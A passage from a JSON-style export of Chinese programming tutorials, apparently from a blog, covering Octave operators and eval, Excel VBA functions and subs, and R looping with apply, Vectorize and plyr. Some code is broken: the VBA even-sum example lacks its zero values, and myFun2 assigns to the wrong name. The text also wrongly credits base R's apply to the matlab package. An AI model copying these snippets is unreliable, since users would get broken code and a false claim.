\u0026quot;/=\u0026quot;，這些運算子是由最右邊開始執行。 短路布林運算子 OR 與 AND：\u0026quot;||\u0026quot;、 \u0026quot;\u0026amp;\u0026amp;\u0026quot;。 元素對元素布林運算子 OR 與 AND：\u0026quot;|\u0026quot;、 \u0026quot;\u0026amp;\u0026quot;。 比較運算子：\u0026quot;\u0026lt;\u0026quot;、 \u0026quot;\u0026lt;=\u0026quot;、 \u0026quot;==\u0026quot;、 \u0026quot;\u0026gt;=\u0026quot;、 \u0026quot;\u0026gt;\u0026quot;、 \u0026quot;!=\u0026quot;、 \u0026quot;~=\u0026quot;。 冒號運算子：\u0026quot;:\u0026quot;。 加法與減法運算子：\u0026quot;+\u0026quot;、 \u0026quot;-\u0026quot;。 乘法與除法運算子：\u0026quot;*\u0026quot;、 \u0026quot;/\u0026quot;、 \u0026quot;\u0026quot;、 \u0026quot;.\u0026quot;、 \u0026quot;.*\u0026quot;、 \u0026quot;./\u0026quot;。 轉置（transpose）：\u0026quot;'\u0026quot;、 \u0026quot;.'\u0026quot;。 一元運算子：\u0026quot;+\u0026quot;、 \u0026quot;-\u0026quot;、 \u0026quot;++\u0026quot;、 \u0026quot;--\u0026quot;、 \u0026quot;!\u0026quot;、 \u0026quot;~\u0026quot;。 指數運算子（exponentiation）：\u0026quot;^\u0026quot;、 \u0026quot;**\u0026quot;、 \u0026quot;.^\u0026quot;、 \u0026quot;.**\u0026quot;。 ","permalink":"https://blog.gtwang.org/octave/octave-expressions/","summary":"\u003cp\u003e在 Octave 中算式（Expressions）是一般程式最基本的組成要件，一個算式會計算出一個值，這個值可以直接輸出、傳給判斷式做判斷、儲存在變數中、傳給函數做為輸入參數或是使用指定運算子將其指定給其他的變數。\u003c/p\u003e","title":"Octave 算式（Expressions）"},{"content":"這裡介紹 Excel VBA 的函數（Function）與子程序（Sub）使用方法，並且提供許多實用的參考範例。\n一般的程式語言都會有自訂函數的功能，讓程式設計者可以將會重複使用的程式碼編寫成函數，方便未來使用。VBA 的自訂函數有分為兩種：\n函數（Function）：VBA 的 Function 就像一般程式語言的函數，可傳入各種參數，進行自訂的運算，並將計算結果傳回。 子程序（Sub）：VBA 的 Sub 與 Function 類似，可傳入各種參數並進行運算，但是沒有傳回值（沒有辦法傳回計算結果）。 以下介紹函數（Function）與子程序（Sub）的語法。\n子程序（Sub） 事實上我們在一開始學習 VBA 的程式設計時，就已經使用過子程序了，以下是一個最簡單的 Hello World 子程序範例程式碼：\nSub Hello() MsgBox (\u0026#34;Hello, world!\u0026#34;) End Sub 子程序是以 Sub 這個關鍵字加上一個子程序名稱開始的，子程序名稱後方會接著一對小括號，小括號內部會放置傳入的參數（這個例子中沒有任何傳入參數），而最後面的 End Sub 就是子程序的結尾，中間的部分就是子程序的程式內容。\n這我們裡定義了一個名稱為 Hello 的子程序，其內容就是一行 MsgBox 輸出訊息指令。當我們呼叫這個 Hello 子程序時，就會執行裡面的程式碼，在前面的 VBA 教學中，我們都是透過這種沒有任何輸入參數的子程序來執行自己的 VBA 巨集程式。\n輸入參數 我們可以自己定義可接受各種輸入參數的子程序：\n\u0026#39; 自行定義的子程序 Sub mySub(x As Integer, y As Integer) MsgBox (\u0026#34;x + y = \u0026#34; \u0026amp; x + y) End Sub 這個 mySub 子程序可以接受兩個整數參數，在計算這兩個數的總和之後，再用 MsgBox 輸出結果。\n其他類型的參數用法也都類似，例如：Double、String 等，請依據資料特性自行選擇適合的參數類型。\n定義好這個子程序之後，就可以在程式的其他地方使用它，呼叫子程序時只要直接輸入子程序，再依序加上逗點分隔的輸入參數即可：\nSub hello() \u0026#39; 呼叫 mySub 子程序 mySub 1, 2 End Sub 在執行時，我們會先呼叫 hello 這個子程序，接著它會呼叫 mySub 子程序，並將要計算的兩個數值資料也傳遞進去，進行運算後再將結果顯示出來。\n這是執行的結果：\n預設參數值 在定義子程序（Sub）的參數時，我們可以透過 Optional 這個關鍵字將某些參數設定為選擇性的，並且加上參數的預設值：\n\u0026#39; 自行定義的子程序 Sub mySub2(Optional x As Integer = 3, Optional y As Integer = 4) MsgBox (\u0026#34;x + y = \u0026#34; \u0026amp; x + y) End Sub 這樣的話在呼叫這個子程序時就可以省略這些選擇性的參數，讓它自動使用預設值，只在需要更動預設值的時候才加上該參數：\nSub hello() \u0026#39; 計算 3 + 4 mySub2 \u0026#39; 計算 1 + 4 mySub2 1 \u0026#39; 計算 1 + 2 mySub2 1, 2 End Sub 傳值與傳參考呼叫 在預設的情況下，如果我們在子程序改變的傳入參數的值，原來的值也會跟著改變，請看以下的範例：\n\u0026#39; 自行定義的子程序 Sub mySub3(x As Integer) x = x + 1 End Sub 這裡我們在自行定義的子程序中將傳入的 x 值加上 1，然後我們在呼叫這個子程序之後，檢查一下原來的數值：\nSub Hello() Dim val As Integer val = 5 mySub3 val MsgBox val End Sub 執行之後，會發現到原來的 val 變數值也跟著加上 1 了。\n會有這樣的結果是因為 VBA 子程序預設的呼叫方式是傳參考呼叫（call by reference），簡單來說就好像把這裡的 val 變數直接拿進 mySub3 子程序中使用，所以 mySub3 中的 x 其實就是 val，而改變了 x 的值就等於是改變了 val 變數。\n如果不想要讓子程序去改變原本的變數值，可以改用傳值呼叫（call by value）的方式來定義子程序的參數：\n\u0026#39; 傳值呼叫的子程序 Sub mySub3(ByVal x As Integer) x = x + 1 End Sub 使用方式都一樣，只不過使用傳值呼叫的參數就不會影響到原來的變數：\n傳值呼叫就好像把原來的 val 複製一份，再放進 mySub3 中的 x，所以這時候不管 x 怎麼改變，val 都不會有影響。\n如果不指定參數使用何種傳遞方式，VBA 預設會使用傳參考的方式傳涮，而如果想要讓程式碼更清楚，可以使用傳參考呼叫的標準寫法：\n\u0026#39; 傳參考呼叫的子程序 Sub mySub3(ByRef x As Integer) x = x + 1 End Sub 接下來要介紹 VBA 函數（Function）的用法，請繼續閱讀下一頁。\n函數（Function） VBA 的函數（Function）跟子程序（Sub）類似，比較不一樣的地方是函數在執行完之後會有一個傳回值，而子程序則沒有，以下是一個簡單的函數範例：\n\u0026#39; 自行定義的函數 Function myFun(x As Integer, y As Integer) As Integer myFun = x + y End Function 函數的定義方式與子程序類似，其以 Function 開頭，接著是函數名稱與傳入參數，而最後還要加上一個函數傳回值的型態，以這個例子來說就是最後一個 As Integer。最後一行 End Function 就是函數的結尾。\n在函數的程式碼內容上，比較要注意的就是傳回值的寫法，VBA 的函數中會有一個與函數同名稱的變數，以這個例子來說就是 myFun，函數執行完成後，就會把這個變數的內容當成函數的傳回值，傳回呼叫此函數的位置。\n這裡定義的 myFun 函數會接受 x 與 y 兩個整數，傳回兩個整數加起來之後的總和，以下是呼叫這個函數的範例程式碼：\nSub Hello() Dim a As Integer a = myFun(3, 4) MsgBox a End Sub Excel 使用 VBA 函數 VBA 的函數定義好之後，除了可以在一般的 VBA 程式碼中呼叫之外，也可以直接在 Excel 中使用，其使用方式就跟一般的 Excel 函數一樣，在儲存格中輸入等於，再加上自訂的函數名稱以及輸入的資料：\n正確輸入函數名稱與傳入的資料之後，Excel 就會將計算結果顯示在該儲存格之中，這裡我是將 A1 與 B1 儲存格的值傳入 myFun 函數，計算它們的總和。\n當然如果只是單純讓兩個數值相加的話，直接用普通的 Excel 公式就好了，這個範例是要示範如何將 Excel 的資料傳入 VBA 函數中進行運算，在將結果傳回來，熟悉這個流程之後，我們就可以設計各式各樣的 VBA 函數來自動處理 Excel 表格中的資料了。\n預設參數值 函數的預設參數值用法與子程序相同，同樣都是使用 Optional，以下是一個簡單的範例：\n\u0026#39; 自行定義的函數 Function myFun2(Optional x As Integer = 3, Optional y As Integer = 4) As Integer myFun = x + y End Function 以下是呼叫此函數的範例：\n\u0026#39; 呼叫自行定義的函數 Sub Hello() Dim a As Integer \u0026#39; 計算 3 + 4 a = myFun2() MsgBox a \u0026#39; 計算 20 + 4 a = myFun2(20) MsgBox a \u0026#39; 計算 20 + 40 a = myFun2(20, 40) MsgBox a End Sub 傳值與傳參考呼叫 VBA 函數的傳值與傳參考呼叫原則與子程序相同，以下是函數的傳值與傳參考呼叫範例：\n\u0026#39; 傳參考函數 Function myFun3(ByRef x As Integer) As Integer x = x + 1 myFun3 = x End Function \u0026#39; 傳值函數 Function myFun4(ByVal x As Integer) As Integer x = x + 1 myFun4 = x End Function 以下是呼叫 myFun3 與 myFun4 兩個函數的範例：\nSub Hello() Dim a As Integer, b As Integer a = 5 b = myFun3(a) MsgBox a a = 5 b = myFun4(a) MsgBox a End Sub 在預設的情況下，VBA 函數都會以傳參考的方式傳遞參數。\n應用範例 偶數加總 這是一個可以將 Excel 特定範圍內的偶數篩選出來，並計算總和的函數：\nFunction SumEvenNumbers(r As Range) As Integer Dim c As Range SumEvenNumbers = \u0026#39; 將範圍內的每一個儲存格資料取出 For Each c In r \u0026#39; 檢查是否為偶數 If c.Value Mod 2 = Then \u0026#39; 將偶數加總起來 SumEvenNumbers = SumEvenNumbers + c.Value End If Next c End Function 定義好之後，就可以在 Excel 中使用：\n這樣就可以計算範圍內的所有偶數總和。\n參考資料 ExcelFunctions.net Excel Easy tutorialspoint tutorialspoint home \u0026amp; learn ","permalink":"https://blog.gtwang.org/courses/vba/excel-vba-function-and-sub/","summary":"\u003cp\u003e這裡介紹 Excel VBA 的函數（\u003ccode\u003eFunction\u003c/code\u003e）與子程序（\u003ccode\u003eSub\u003c/code\u003e）使用方法，並且提供許多實用的參考範例。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e一般的程式語言都會有自訂函數的功能，讓程式設計者可以將會重複使用的程式碼編寫成函數，方便未來使用。VBA 的自訂函數有分為兩種：\u003c/p\u003e","title":"Excel VBA：函數（Function）與子程序（Sub）"},{"content":"這裡介紹 R 的幾種進階迴圈使用方式，善用這些 R 特有的迴圈技巧可以讓程式碼更簡潔。\nR 語言除了提供一般性的 repeat、while 與 for 迴圈之外，還有許多進階的迴圈使用方式，它可以讓您將特定的函數套用至列表、向量或陣列中的每一個元素，進行特定的運算後，傳回所有元素個別運算的結果。\nreplicate 函數 replicate 函數跟 rep 函數類似，但 rep 只是單純將輸入的值重複指定的次數，而 replicate 則是會對指定的運算式重複執行指定的次數。在大多數的情況之下，這兩個函數的作用是相同的：\nrep(1.2, 3) [1] 1.2 1.2 1.2 replicate(3, 1.2) [1] 1.2 1.2 1.2 但如果遇到含有隨機變數的運算式時，就會有很大的差異，例如：\nrep(rnorm(1), 3) [1] -0.7170305 -0.7170305 -0.7170305 replicate(3, rnorm(1)) [1] -0.5230300 0.2188132 0.5704128 replicate 函數主要用於固定計算次數的蒙地卡羅（Monte Carlo）運算，也就是每一次的迭代運算都是完全獨立的狀況。\n範例一 以下是一個模擬通車時間的小程式，我們使用不同的隨機變數分佈，模擬搭乘不同交通工具所需要的時間。\ntraffic.time \u0026lt;- function() { # 選擇交通工具 transportation \u0026lt;- sample( c(\u0026#34;car\u0026#34;, \u0026#34;bus\u0026#34;, \u0026#34;train\u0026#34;, \u0026#34;bike\u0026#34;), size = 1, prob = c(0.2, 0.3, 0.3, 0.2) ) # 模擬通車時間 time \u0026lt;- switch( transportation, car = rlnorm(1, log(30), 0.5), bus = rlnorm(1, log(40), 0.5), train = rnorm(1, 30, 10), bike = rnorm(1, 70, 5) ) names(time) \u0026lt;- transportation time } 這樣的程式結構中因為含有 switch 判斷式，所以比較難使用一般的向量化寫法，也就是說我們每一次要模擬通車時間的時候，就需要執行一次 traffic.time 函數，這樣的情況就可以使用 replicate 函數來進行模擬：\nreplicate(10, traffic.time()) bike train train car train 72.09280 38.57392 16.74473 18.24996 55.33025 train bus bike bus bike 17.94697 13.19669 77.62744 49.96687 79.84052 範例二 以下是另外一個簡單的 bootstrap 範例，使用重複的抽樣來計算母體平均數的 95% 的信賴區間模擬值，首先產生常態分配的樣本：\nrn \u0026lt;- rnorm(1000, 10) 接著使用 replicate 函數重複取樣，然後計算母體平均數的 95% 的信賴區間的模擬值：\nquantile(replicate(1000, mean(sample(rn, replace = TRUE))), probs = c(0.025, 0.975)) 2.5% 97.5% 9.952728 10.079374 我們可以拿標準的 95% 的信賴區間來跟模擬值比較：\nt.test(rn)$conf.int [1] 9.948975 10.074432 attr(,\"conf.level\") [1] 0.95 列表的迭代 以 R 語言撰寫程式時，應該盡可能使用向量化運算的方式來處理各種重複性的運算，這樣除了可讓程式碼更容易閱讀之外，執行速度也會比一般性的迴圈高出許多。\n然而並非所有的程式邏輯都可以很直接的使用向量化運算來處理，若遇到無法修改成向量化程式碼的情況時，可以改用 *apply 系列的函數，使用這類的函數雖然在執行效能上不會改變，但是至少可以讓程式碼比較整潔。\n一般 R 語言的向量化運算是屬於 C 語言層級迴圈，執行速度較快，而 *apply 系列的函數是屬於 R 語言層級的迴圈，執行速度接近一般的 R 迴圈。\n在 *apply 系列的函數中，最常被使用的就是 lapply 函數（list apply），它可以接受一個列表變數以及一個函數，然後將列表變數中的每個元素一一交給該函數處理，最後傳回所有的結果所組成的列表。\n假設我們有一個列表的資料如下：\n# 產生資料 x.list \u0026lt;- list( a = rgeom(6, prob = 0.1), b = rgeom(6, prob = 0.4), c = rgeom(6, prob = 0.7) ) x.list $a [1] 1 2 2 9 10 1 $b [1] 4 5 0 2 2 2 $c [1] 1 0 0 0 2 0 若想要將此列表中每個元素都交由 unique 處理，刪除重複的數值，使用一般迴圈的做法會類似下面這樣：\n# 初始化 x.uniq x.uniq \u0026lt;- vector(\u0026#34;list\u0026#34;, length(x.list)) for ( i in seq_along(x.list) ) { # 對 x.list 的每個元素進行 unique 運算 x.uniq[[i]] \u0026lt;- unique(x.list[[i]]) } # 設定 x.uniq 的元素名稱 names(x.uniq) \u0026lt;- names(x.list) x.uniq $a [1] 1 2 9 10 $b [1] 4 5 0 2 $c [1] 1 0 2 像這樣的動作無法直接使用向量化的寫法來處理，不過我們可以改用 lapply，讓程式碼比較乾淨一些：\n# 改用 lapply lapply(x.list, unique) $a [1] 1 2 9 10 $b [1] 4 5 0 2 $c [1] 1 0 2 lapply 所傳回的結果也是一個列表變數，這樣的好處是允許每個元素的計算結果都是長度不同的向量（或是其他各種類型的變數）。\n如果每個元素的計算結果都是長度相同的向量，可以使用 vapply 函數，它的功能跟 lapply 相同，只是會以向量的方式傳回結果：\nvapply(x.list, length, numeric(1)) a b c 6 6 6 這裡的第三個參數是傳回值的樣板，vapply 會將計算的結果依照這個樣板傳回。以下是使用 fivenum 計算每個元素的 Tukey’s five number summary：\nvapply(x.list, fivenum, c(\u0026#34;Min.\u0026#34; = 0, \u0026#34;1st Qu.\u0026#34; = 0, \u0026#34;Median\u0026#34; = 0, \u0026#34;3rd Qu.\u0026#34; = 0, \u0026#34;Max.\u0026#34; = 0)) a b c Min. 1 0 0 1st Qu. 1 2 0 Median 2 2 0 3rd Qu. 9 4 1 Max. 10 5 2 另外還有一個 sapply 函數，它介於 lapply 與 vapply 之間，其使用的方式跟 lapply 相同：\nsapply(x.list, unique) $a [1] 1 2 9 10 $b [1] 4 5 0 2 $c [1] 1 0 2 sapply 會嘗試簡化傳回的變數，在情況許可時會自動將結果轉為向量的形式傳回：\nsapply(x.list, length) a b c 6 6 6 對於較高維度的資料，sapply 也可以自動處理：\nsapply(x.list, summary) a b c Min. 1.000 0.0 0.00 1st Qu. 1.250 2.0 0.00 Median 2.000 2.0 0.00 Mean 4.167 2.5 0.50 3rd Qu. 7.250 3.5 0.75 Max. 10.000 5.0 2.00 對於使用互動式操作來使用 R 的狀況來說，使用 sapply 函數會比較方便，就算使用者不確定執行結果會是什麼，它通常都可以自動將結果以最適合的方式呈現。\n雖然 *apply 系列的函數主要是用來處理列表變數的，但它也可以接受一般的向量，而其對於向量的處理方式也是跟列表類似，逐一將元素交給指定的函數來處理。\nsource 這個函數可以從檔案中載入 R 的程式碼並且執行，但這個函數沒有支援向量化的運算，如果要一次載入多個 .R 指令稿，可以配合 lapply 一起使用：\nr.files \u0026lt;- dir(pattern = \u0026#34;\\\\.R$\u0026#34;) lapply(r.files, source) 這裡我們使用 dir 指令加上正規表示法，取得所有檔名為 .R 結尾的指令稿，接著使用 lapply 逐一載入每個指令稿。\n使用 *apply 系列的函數時，若需要傳遞一些額外的參數給指定的函數，可以將具名參數放在最後面，這樣該參數就會自動被傳入：\nlapply(x.list, quantile, probs = 1:3/4) $a 25% 50% 75% 1.25 2.00 7.25 $b 25% 50% 75% 2.0 2.0 3.5 $c 25% 50% 75% 0.00 0.00 0.75 由於 *apply 系列的函數只會將列表或向量中的元素逐一取出，放在指定函數的第一個參數來執行，若遇到指定函數的輸入資料不是放在第一個參數時，就要改以自訂函數的方式處理：\nx \u0026lt;- 1:3 my.seq \u0026lt;- function(by) seq(2, 10, by = by) lapply(x, my.seq) [[1]] [1] 2 3 4 5 6 7 8 9 10 [[2]] [1] 2 4 6 8 10 [[3]] [1] 2 5 8 也可以使用匿名函數的寫法：\nlapply(x, function(by) seq(2, 10, by = by)) [[1]] [1] 2 3 4 5 6 7 8 9 10 [[2]] [1] 2 4 6 8 10 [[3]] [1] 2 5 8 如果需要對環境空間中的每一個變數做處理時，可以使用 eapply 函數：\nmy.env \u0026lt;- new.env() my.env$foo \u0026lt;- 1:5 my.env$larry \u0026lt;- runif(8) eapply(my.env, length) $foo [1] 5 $larry [1] 8 陣列的迭代 lapply、vapply 以及 sapply 這幾個函數也可以用在矩陣與陣列的迭代上，不過這樣使用的結果通常不如使用者所預期，它會將矩陣或陣列直接視為一般的向量，將每個元素逐一交給指定的函數來處理。\nx.mat \u0026lt;- matrix(1:9, 3, 3) lapply(x.mat, sum) [[1]] [1] 1 [[2]] [1] 2 [[3]] [1] 3 [[4]] [1] 4 [[5]] [1] 5 [[6]] [1] 6 [[7]] [1] 7 [[8]] [1] 8 [[9]] [1] 9 若要對矩陣的一整個行（column）或列（row）來處理，可以使用 matlab 這個套件：\ninstall.packages(\u0026#34;matlab\u0026#34;) library(matlab) R 的 matlab 套件中包含一些運作方式類似 Matlab 的函數，而該套件在載入之後，會將 base、stats 與 utils 內建套件中的一些函數覆蓋掉，在使用完畢之後，若要讓這些函數恢復，可以執行 detach(\u0026quot;package:matlab\u0026quot;) 將 matlab 卸載即可。\nmatlab 套件所提供的 apply 函數其功能類似 lapply，不過它可以允許對矩陣的行或列進行指定的運算，例如計算矩陣每個列的總和：\napply(x.mat, 1, sum) [1] 12 15 18 apply 的第一個參數是輸入的矩陣或陣列，第二個參數是指定如何迭代矩陣或陣列中的資料，若指定為 1 則代表以列（row）的方式迭代，而若指定為 2 則代表以行（column）的方式迭代。而上面這行效果就等同於 rowSums：\nrowSums(x.mat) [1] 12 15 18 matlab 的 apply 函數可以跟任意的函數結合，產生各式各樣的變化：\napply(x.mat, 2, summary) [,1] [,2] [,3] Min. 1.0 4.0 7.0 1st Qu. 1.5 4.5 7.5 Median 2.0 5.0 8.0 Mean 2.0 5.0 8.0 3rd Qu. 2.5 5.5 8.5 Max. 3.0 6.0 9.0 apply 也可以套用在 data frame 上：\n(x.df \u0026lt;- data.frame( name = c(\u0026#34;foo\u0026#34;, \u0026#34;bar\u0026#34;, \u0026#34;foo.bar\u0026#34;), value = c(1.2, 6.9, 2.4) )) name value 1 foo 1.2 2 bar 6.9 3 foo.bar 2.4 apply(x.df, 1, toString) [1] \"foo, 1.2\" \"bar, 6.9\" \"foo.bar, 2.4\" apply(x.df, 2, toString) name value \"foo, bar, foo.bar\" \"1.2, 6.9, 2.4\" 當 apply 以行的方式迭代時，其作用會跟 sapply 相同（data frame 可以視為一種巢狀的列表，而其每個列表元素的長度都相等）：\nsapply(x.df, toString) name value \"foo, bar, foo.bar\" \"1.2, 6.9, 2.4\" mapply 與 Vectorize 函數 lapply 有一個缺點就是它一次只能對一個列表變數的元素做迭代處理，另外在指定的處理函數當中，也無法獲取每個列表元素的名稱。\nmapply 是一個可以同時處理多個列表變數迭代的函數，而若需要取得列表元素的名稱，也可以透過第二個參數把名稱傳入。\nx.list \u0026lt;- list( foo = 12, bar = 34 ) my.fun \u0026lt;- function(name, value) { paste(name, \u0026#34;is\u0026#34;, value) } mapply(my.fun, names(x.list), x.list) foo bar \"foo is 12\" \"bar is 34\" mapply 預設會跟 sapply 函數一樣將傳回值簡化，若要改變這個行為，可以加上 SIMPLIFY = FALSE 參數。\nVectorize 是一個可以將非向量化函數轉換為向量化寫法的函數（但效能不會特別的改善），假設我們有一個無法以向量化表示的函數：\nscalar.fun \u0026lt;- function(x) { switch(x, foo = \u0026#34;FOO\u0026#34;, bar = \u0026#34;BAR\u0026#34;, \u0026#34;Other\u0026#34;) } 這個函數若直接傳入一個向量參數，會產生錯誤：\ninput \u0026lt;- c(\u0026#34;foo\u0026#34;, \u0026#34;bar\u0026#34;, \u0026#34;foo.bar\u0026#34;) scalar.fun(input) Error in switch(x, foo = \"FOO\", bar = \"BAR\", \"Other\") : EXPR 必須是長度為 1 的向量 這種狀況就可以使用 Vectorize 將其包裝成可以處理向量的形式：\nvectorize.fun \u0026lt;- Vectorize(scalar.fun) vectorize.fun(input) foo bar foo.bar \"FOO\" \"BAR\" \"Other\" 資料分組與迭代 在審視資料時，時常會需要將資料先分組後再計算各組的某些統計量，以 iris 資料為例：\nhead(iris) Sepal.Length Sepal.Width Petal.Length Petal.Width Species 1 5.1 3.5 1.4 0.2 setosa 2 4.9 3.0 1.4 0.2 setosa 3 4.7 3.2 1.3 0.2 setosa 4 4.6 3.1 1.5 0.2 setosa 5 5.0 3.6 1.4 0.2 setosa 6 5.4 3.9 1.7 0.4 setosa 假設我們要依據 Species 來分組，計算 Sepal.Length 的平均，首先將資料分組：\n(group.data \u0026lt;- with(iris, split(Sepal.Length, Species))) $setosa [1] 5.1 4.9 4.7 4.6 5.0 5.4 4.6 5.0 4.4 4.9 5.4 4.8 [13] 4.8 4.3 5.8 5.7 5.4 5.1 5.7 5.1 5.4 5.1 4.6 5.1 [25] 4.8 5.0 5.0 5.2 5.2 4.7 4.8 5.4 5.2 5.5 4.9 5.0 [37] 5.5 4.9 4.4 5.1 5.0 4.5 4.4 5.0 5.1 4.8 5.1 4.6 [49] 5.3 5.0 $versicolor [1] 7.0 6.4 6.9 5.5 6.5 5.7 6.3 4.9 6.6 5.2 5.0 5.9 [13] 6.0 6.1 5.6 6.7 5.6 5.8 6.2 5.6 5.9 6.1 6.3 6.1 [25] 6.4 6.6 6.8 6.7 6.0 5.7 5.5 5.5 5.8 6.0 5.4 6.0 [37] 6.7 6.3 5.6 5.5 5.5 6.1 5.8 5.0 5.6 5.7 5.7 6.2 [49] 5.1 5.7 $virginica [1] 6.3 5.8 7.1 6.3 6.5 7.6 4.9 7.3 6.7 7.2 6.5 6.4 [13] 6.8 5.7 5.8 6.4 6.5 7.7 7.7 6.0 6.9 5.6 7.7 6.3 [25] 6.7 7.2 6.2 6.1 6.4 7.2 7.4 7.9 6.4 6.3 6.1 7.7 [37] 6.3 6.4 6.0 6.9 6.7 6.9 5.8 6.8 6.7 6.7 6.3 6.5 [49] 6.2 5.9 接著再以 mean 配合 lapply 來處理：\nlapply(group.data, mean) $setosa [1] 5.006 $versicolor [1] 5.936 $virginica [1] 6.588 或是使用 sapply 等函數亦可：\nsapply(group.data, mean) setosa versicolor virginica 5.006 5.936 6.588 像這樣典型的資料分組與迭代的動作，可以使用 tapply 函數來處理：\nwith(iris, tapply(Sepal.Length, Species, mean)) setosa versicolor virginica 5.006 5.936 6.588 plyr 套件 R 內建的 *apply 函數對於許多的迭代問題而言是一個很好用的工具，不過它們還是有一些小缺點，像函數的名稱並沒有清楚表明其作用（例如 tapply 的 t 到底代表什麼意思我們也不是很清楚），而不同函數的參數順序也沒有一致性，另外其傳回值的變數型態並沒有很彈性，造成有時候在使用上會不太方便。\nplyr 套件提供了一系列完整的 **ply 函數，不僅參數格式統一，輸入與輸出的變數型態也很齊全，它的函數名稱有一定的規則，第一個字母代表輸入的變數型態，而第二個字幕則代表輸出的變數型態，例如 llply 函數就是輸入與輸出都是列表變數（list），所以它可以直接用來替代 lapply 函數：\nx.list \u0026lt;- list( a = rgeom(6, prob = 0.1), b = rgeom(6, prob = 0.4), c = rgeom(6, prob = 0.7) ) llply(x.list, unique) $a [1] 2 13 1 3 8 $b [1] 1 2 0 $c [1] 0 1 laply 則代表輸入變數為列表，而輸出為向量：\nlaply(x.list, length) [1] 6 6 6 raply 是 replicate 的一個替代函數，傳回值是一般的向量，而 rlply 與 rdply 函數則可以將重複的結果以列表或 data frame 的形式傳回，另外 r_ply 會直接將結果丟棄，不傳回任何東西（適用於繪圖等情況）。\nraply(3, rnorm(1)) [1] 0.08807394 -1.17962037 2.76096399 rlply(3, rnorm(1)) [[1]] [1] -1.242925 [[2]] [1] 0.3688085 [[3]] [1] 0.6099664 rdply(3, rnorm(1)) .n V1 1 1 0.6272091 2 2 -0.3050538 3 3 -0.6814648 r_ply(3, rnorm(1)) ddply 的輸入與輸出都是 data frame 變數，而且可以同時處理多個欄位的資料，可以用來替代 tapply 函數。假設我們要將 iris 這個 data frame 的所有資料都依照 Species 分組後計算平均值，可以這樣做：\nddply( iris, # 輸入的 data frame .(Species), # 依據 Species 分組 colwise(mean) # 對每個行（column）執行 mean 計算平均值 ) Species Sepal.Length Sepal.Width Petal.Length Petal.Width 1 setosa 5.006 3.428 1.462 0.246 2 versicolor 5.936 2.770 4.260 1.326 3 virginica 6.588 2.974 5.552 2.026 這裡使用 colwise 會自動對每一個欄位（除了第二個參數有指定的欄位之外）做指定的運算，不過它的限制就是每個欄位的計算方式都相同。\n第二個參數中所使用的句點函數（.）是 plyr 套件中所定義的一個特殊函數，其作用類似 ~，是為了取得變數名稱而設計的，沒有特別的含義，以下幾種寫法的作用都是相同的：\nddply(iris, .(Species), colwise(mean)) ddply(iris, \u0026#34;Species\u0026#34;, colwise(mean)) ddply(iris, ~ Species, colwise(mean)) 我們也可以使用 summarize 的方式，自行指定要計算的欄位以及各欄位的計算方式：\nddply( iris, # 輸入的 data frame .(Species), # 依據 Species 分組 summarize, # 自行指定每個欄位的計算方式 SL.Mean = mean(Sepal.Length), # Sepal.Length 的平均值 PL.Max = max(Petal.Length) # Petal.Length 的最大值 ) Species SL.Mean PL.Max 1 setosa 5.006 1.9 2 versicolor 5.936 5.1 3 virginica 6.588 6.9","permalink":"https://blog.gtwang.org/r/r-advanced-loops/","summary":"\u003cp\u003e這裡介紹 R 的幾種進階迴圈使用方式，善用這些 R 特有的迴圈技巧可以讓程式碼更簡潔。\u003c/p\u003e\n\u003cp\u003eR 語言除了提供一般性的 \u003ccode\u003erepeat\u003c/code\u003e、\u003ccode\u003ewhile\u003c/code\u003e 與 \u003ccode\u003efor\u003c/code\u003e 迴圈之外，還有許多進階的迴圈使用方式，它可以讓您將特定的函數套用至列表、向量或陣列中的每一個元素，進行特定的運算後，傳回所有元素個別運算的結果。\u003c/p\u003e","title":"R 進階迴圈"},{"content":"使用指令字串（Using Evaluation） 一般來說要執行 Octave 的指令可以由命令列視窗直接輸入，或讓 Octave 直接執行儲存在檔案中的程式，然而有時候會需要直行儲存在字串變數中的指令，這時候就可以使用 eval() 函數。\neval (try, catch) eval(try, catch) 函數會將字串 try 的內容視為 Octave 的指令來執行，若執行失敗，則會再執行字串 catch 的內容。try 的內容是在目前的變數環境（Context）中執行的，因此所有的結果都會保留在目前的變數環境中。例如：\neval(\u0026#34;a = acos(-1);\u0026#34;); 這樣會在目前的變數環境中建立一個變數 a ，其值為 3.1416。\n若有錯誤發生時，就會執行 catch 的內容，例如：\neval (\u0026#39;error (\u0026#34;This is a bad example\u0026#34;);\u0026#39;, \u0026#39;printf (\u0026#34;This error occurred:\\n%s\\n\u0026#34;, lasterr ());\u0026#39;); 輸出為\nThis error occurred: This is a bad example 由函數名稱呼叫（Calling a Function by its Name） feval() 函數會以包含函數名稱的字串呼叫指定的函數，這個特性可以讓使用者指定函數，此函數會呼叫第一個參數所指定的函數，並將第二個以後的參數傳入此函數。\n下面這個範例是使用牛頓法尋找指定函數的解：\nfunction result = newtroot (fname, x) # usage: newtroot (fname, x) # # fname : a string naming a function f(x). # x : initial guess delta = tol = sqrt (eps); maxit = 200; fx = feval (fname, x); for i = 1:maxit if (abs (fx) \u0026lt; tol) result = x; return; else fx_new = feval (fname, x + delta); deriv = (fx_new - fx) / delta; x = x - fx / deriv; fx = fx_new; endif endfor result = x; endfunction 這個範例主要的目的只是說明如何使用 feval() 函數而已，實際上的的函數應該還要加入一些安全檢查的機制，例如判斷 fname 所指定的函數是否真的存在等。\nfeval (name, ...) feval(name, ...) 函數會執行名稱為 name 的函數，從第二個之後的參數都會被傳入此函數中，例如：\nfeval (\u0026#34;acos\u0026#34;, -1) 這樣會執行 acos(-1)，輸出為\nans = 3.1416 由於 Octave 中沒有類似像 C 語言的函數指標功能，因此要傳遞函數唯一的方式就是使用函數名稱，再配合 feval() 函數來執行。\n另外有一個類似功能的函數 run()，此函數可以執行使用者的指令稿。\nrun (f) run f run(f) 函數會執行目前目錄的指令稿 f，若 f 包含其路徑，則 Octave 會先變換目前的目錄至該路徑再執行，執行完成後再返回原目錄。\n在不同的變數環境中執行（Evaluation in a Different Context） 使用指令字串時，在指令中的變數值都是由儲存在 Octave 的符號表（symbol table）中，而在呼叫函數時 Octave 會將目前的符號表暫時儲存起來，另外產生一個新的提供呼叫的函數來使用，這個新的符號表會包含呼叫函數時所傳入的變數，另外再加上一些內建的變數，例如 nargin 